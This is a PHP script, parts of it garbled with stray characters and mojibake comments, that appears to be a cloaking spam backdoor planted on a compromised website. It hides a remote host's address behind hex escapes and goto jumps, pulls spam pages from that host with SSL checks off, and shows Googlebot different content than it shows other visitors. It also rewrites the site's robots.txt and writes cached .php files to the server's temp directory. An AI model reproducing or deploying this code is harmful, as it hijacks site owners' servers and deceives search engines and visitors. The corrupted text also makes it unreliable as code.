1 < 1 ? 1 p 2 hp 1 1 1 e 1 r 2 ro 1 r 1 _ 2 re 1 p 2 or 1 t 1 i 1 n 2 g( 1 0 1 ) 1 ; 1 1 1 $ 6 get = 2 fi 1 l 2 te 1 r 2 _i 1 n 1 p 1 u 2 t_ 1 a 1 r 2 ra 1 y 1 ( 1 I 2 NP 1 U 2 T_ 2 GE 1 T 1 , 1 1 F 1 I 1 L 2 TE 1 R 1 _ 1 S 1 A 1 N 1 I 2 TI 1 Z 2 E_ 1 S 1 T 1 R 1 I 1 N 1 G 4 ); 1 1 1 / 2 * 1 - 18 ------------------------ 1 1 1 4 1 é 1 « 1 ˜ 1 é 1 € 1 Ÿ 1 æ 1 œ 1 ¬ 1 å 1 œ 1 ° 1 ç 1 ¼ 1 “ 1 å 1 1 ˜ 1 å 1 ‡ 1 ½ 1 æ 1 • 1 ° 1 1 1a ------------------------- 1 * 1 / 1 1 1 f 1 u 1 n 2 ct 1 i 1 o 2 n 1 c 1 a 1 c 2 he 1 _ 3 get 1 ( 4 $key 1 , 2 $ 1 e 1 x 2 pi 5 re = 2 30 1 0 1 ) 1 1 { 6 1 $ 3 fil 5 e = s 1 y 1 s 5 _get_ 1 t 1 e 2 mp 1 _ 1 d 3 ir( 1 ) 1 2 . 1 ' 1 / 7 cache_' 3 . 1 m 1 d 1 5 5 ($key 5 ) . ' 1 . 4 php' 1 ; 6 1 i 2 f 1 ( 4 file 2 _e 1 x 1 i 2 st 1 s 1 ( 5 $file 2 ) 1 & 2 & 1 ( 1 t 2 im 1 e 3 () 1 - 5 file 1 m 5 time( 6 $file) 1 ) 1 1 < 8 $expire 9 ) { 4 1 r 2 et 1 u 1 r 1 n 5 file 5 _get_ 1 c 1 o 2 nt 1 e 1 n 9 ts($file) 8 ; } 6 8 return f 2 al 1 s 1 e 3 ; 1 } 12 function cache_s a et($key, $ 1 d 1 a 2 ta 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 5 file_ 4 put_ e contents($file 7 , $data 2 , 1 L 1 O 1 C 1 K 1 _ 1 E 1 X 1 ) 6 ; } 25 /* ------------------------- 1 è 1 Ž 1 · 1 å 1 1 – 1 ç 1 œ 2 Ÿå 1 ® 1 ž 1 è 1 ® 1 ¿ 1 é 1 — 2 ® 1 I 1 P 1 ï 1 ¼ 1 ˆ 1 å 1 … 1 ¼ 1 å 1 ® 1 ¹ 1 1 C 1 D 2 N 1 / 1 1 å 1 1 1 ä 1 » 1 £ 1 ï 1 ¼ 1 ‰ 29 ------------------------- */ function 4 get_ 2 re 1 a 1 l 2 _i 1 p 1 ( a ) { $ 3 key 1 s 3 = 1 [ b ' 1 H 1 T 1 T 1 P 1 _ 1 C 1 F 1 _ 2 CO 1 N 3 NEC 1 T 3 ING 1 _ 2 IP 1 ' 1 , 1 2 // 1 1 C 1 l 2 ou 1 d 1 f 1 l 2 ar 1 e 10 'HTTP_ 1 X 1 _ 1 R 1 E 1 A 1 L 6 _IP', 7 3 // 1 N 1 g 2 in 1 x 12 'HTTP_X_ 1 F 1 O 1 R 1 W 1 A 1 R 1 D 1 E 1 D 4 _FOR 4 ', 4 // P 1 r 1 o 1 x 1 y 11 'HTTP_C 1 L 1 I 1 E 2 NT 5 _IP', b ' 1 R 1 E 1 M 1 O 2 TE 1 _ 1 A 1 D 1 D 1 R 1 ' 6 1 ] 5 ; 4 2 fo 3 rea 1 c 1 h 1 1 ( 6 $keys 1 a 1 s 3 $k d ) { 4 if ( 1 ! 4 empt 1 y 1 ( 2 $_ 1 S 1 E 1 R 1 V 1 E 1 R 1 [ 1 $ 1 k 1 ] 1 ) d ) { 6 $i 1 p 3 = c $_SERVER[$k] 9 ; c if ( 2 st 1 r 1 p 1 o 4 s($i 1 p 1 , 2 ' 1 , 6 ') !== 6 false 11 ) { a $ip = 1 t 1 r 1 i 2 m( 3 exp 1 l 1 o 2 de 1 ( 3 ',' 1 , 4 $ip 1 ) 1 [ 1 0 1 ] 8 ); 8 1 } 14 if ( 7 filter_ 1 v 1 a 1 r 6 ($ip, 7 FILTER_ 1 V 1 A 1 L 1 I 1 D 1 A 3 TE_ 2 IP 1 ) 15 ) { 7 return 3 $ip 12 ; } f } e } return 1 ' 2 12 1 7 1 . 1 0 3 .0. 2 1' 2b ; } /* ------------------------- 1 æ 1 › 1 ´ 1 å 1 ¿ 1 « 1 ç 1 š 1 „ 4 get 1 C 2 ur 1 l 1 ( 1 ) 2c ------------------------- */ function get 4 Curl 1 F 1 a 1 s 3 t($ 3 url 5 ) { 7 $ 5 cache 1 d 3 = b cache_get($ 4 url) b ; if ( 8 $cached b !== false) 8 return $ 6 cached 9 ; 5 $data 3 = 2 '' 9 ; 5 if (f 7 unction 8 _exists( 1 ' 1 c 3 url 3 _in 2 it 1 ' e )) { 1 $ 3 ch 3 = c 8 url_init d ($url); 4 5 curl_ 3 set 2 op 8 t_array( 3 $ch 1 , c [ 4 1 C 1 U 1 R 1 L 2 OP 1 T 3 _RE 1 T 1 U 1 R 1 N 1 T 1 R 2 AN 1 S 1 F 1 E 1 R 1 1 = 1 > 3 tr 2 ue 1 , 16 CURLOPT_ 8 CONNECTT 1 I 1 M 1 E 1 O 1 U 1 T 4 => 1 5 17 , CURLOPT_ 8 TIMEOUT 7 3 => 1 8 17 , CURLOPT_ 1 S 1 S 1 L 1 _ 4 VERI 1 F 2 YP 1 E 6 ER => 29 false, CURLOPT_SSL_VERIFYHOS 1 T 20 => false, CURLOPT_ 2 FO 1 L 1 L 1 O 1 W 3 LOC 2 AT 1 I 1 O 1 N 20 => false, CURLOPT_ 1 U 3 SER 1 A 1 G 3 ENT a => " 1 M 1 o 1 z 1 i 2 ll 1 a 1 / 1 5 1 . 2 0" a d ]); 8 $data = 5 curl_ 2 ex 1 e 1 c 4 ($ch 11 ); curl_ 1 c 1 l 2 os 1 e c ($ch); 1 } c if ( 7 empty($ 6 data) 3 && 3 ini 5 _get( 1 ' 2 al 1 l 1 o 1 w 1 _ 4 url_ 1 f 1 o 2 pe 1 n 11 ')) { $c 4 onte 1 x 4 t = 3 str 2 ea 1 m 1 _ 8 context_ 1 c 4 reat 2 e( f [ 1 " 1 h 1 t 2 tp 1 " 4 => 1 [ 1 " 4 time 2 ou 1 t 1 " 6 => 8, 4 "he 1 a 2 de 1 r 5 " => 1 " 2 Us 1 e 1 r 1 - 2 Ag 3 ent 2 : b Mozilla/5.0 1 \ 1 r 1 \ 2 n" 1 ] f , 2 "s 1 s 1 l 2 " 6 => [" 1 v 2 er 1 i 1 f 1 y 2 _p 1 e 7 er" => 7 false, c "verify_peer 1 _ 2 na 1 m 1 e a " => false 1 ] 1f ]); $data = 1 @ 13 file_get_contents($ 3 url 1 , 8 false, 8 $context 15 ); } if ( 1 ! c empty($data) 1 ) c cache_set($ 5 url, 6 $data) 1 ; d return 5 $data 2b ; } /* ------------------------- 4 URL 1 ä 1 ¿ 1 ¡ 1 æ 1 1 ¯ 2d ------------------------- */ function get_ 7 url_inf 1 o 4 (str 4 ing 1 $ 1 t 2 yp 1 e 1 = 1 ' 2 do 1 m 1 a 1 i 3 n') 2 : 7 string 8 { $ 1 h 1 o 1 s 1 t c = $_SERVER[ 6 'HTTP_ 4 HOST 1 ' 1 ] 1 1 ? 1 ? 6 ''; 9 if ($ 4 type 1 1 = 4 == ' 1 n 1 o 1 _ 1 w 1 w 2 w' 9 ) return 2 pr 1 e 1 g 4 _rep 1 l 1 a 1 c 3 e(' 1 / 1 ^ 3 www 1 \ 1 . 1 / 1 i 3 ', 1 ' 4 ', $ 4 host 1 ) b ; $p 1 r 1 o 2 to 1 c 1 o 1 l 3 = 11 (!empty($_SERVER[ 5 'HTTP 1 S 1 ' 1 ] 5 ) && 11 $_SERVER['HTTPS'] 5 !== 2 'o 1 f 1 f 3 ') 1 ? 6 "http 1 s 1 : 2 // 1 " 1 1 : 6 "http 4 ://" 7 ; 1 $ 1 b 2 as 4 e = b $protocol . 6 $host d ; if ( b $type === ' 4 base a ') return 5 $base 17 ; if ($type === 'f 1 u 1 l 1 l f ') return $base 3 . c ($_SERVER['R 1 E 1 Q 1 U 1 E 1 S 4 T_UR 1 I 8 '] ?? '' a ); 8 return $ 7 host; 28 } /* ------------------------- 1 å 1 Ÿ 1 º 1 ç 1 ¡ 1 € 1 å 1 1 ˜ 1 é 1 ‡ 1 20 ------------------------- */ 1 g 4 oto 1 O 1 N 1 P 1 u 1 B 1 ; 6 ONPuB 1 : 3 $h 3 ttp 1 _ 6 type = 1 10 !empty($_SERVER[ 1 " 1 \ 1 x 5 48\12 1 4 1 \ 1 x 1 5 4 4\x5 1 0 3 \x5 1 3 1 " f ]) && $_SERVER[ 10 "\x48\124\124\x5 7 0\x53"] 5 !== 1 " 2 \1 1 5 1 7 1 \ 1 x 1 6 6 6\146" 4 ? " 3 \15 3 0\x 1 7 1 4 7 \x74\x7 2 0\ 6 163\72 1 \ 1 x 1 2 1 f 4 \x2f 5 " : " 3 \x6 3 8\1 1 6 1 4 7 \164\16 1 0 d \72\x2f\57"; 6 goto O 1 4 1 O 1 9 1 k 1 ; 6 O4O9k 3 : $ 1 v 3 url 1 4 = "\ 4 x74\ 4 157\ 1 5 3 6\1 1 5 1 2 8 \147\141 4 \x6c 5 \x6c\ 4 163\ 1 x 1 2 1 e 3 \14 1 3 7 \157\x6 1 d 5 \x2f" 7 ; goto 1 v 1 g 3 v72 1 ; 6 vgv72 3 : $ 1 q 1 z 4 = s 1 u 1 b 3 str 4 (str 9 _replace( 6 array( 4 "\x7 1 7 5 \x77\ 1 1 1 6 1 7 4 \x2e 4 ", " 4 \56" 1 ) 7 , '', $ a _SERVER["\ 2 11 1 0 7 \x54\x5 4 4\12 4 0\x5 1 f 5 \x48\ b x4f\123\x54 3 "]) 1 , 1 2 0, 1 1 3 4 ); 24 /* ------------------------- è 1 § 1 £ 1 æ 1 ž 1 2 f 3 å 1 ‚ 23 æ•° ------------------------- */ 1 $ 1 s 4 z = 1 $ 1 i 1 i 4 d = 1 " 4 "; 2 if 1036 (!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- è¿œç¨‹æŽ¥å£ ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(ä¿ç•™ kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 åˆ¤æ– ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- éž google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当å‰URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0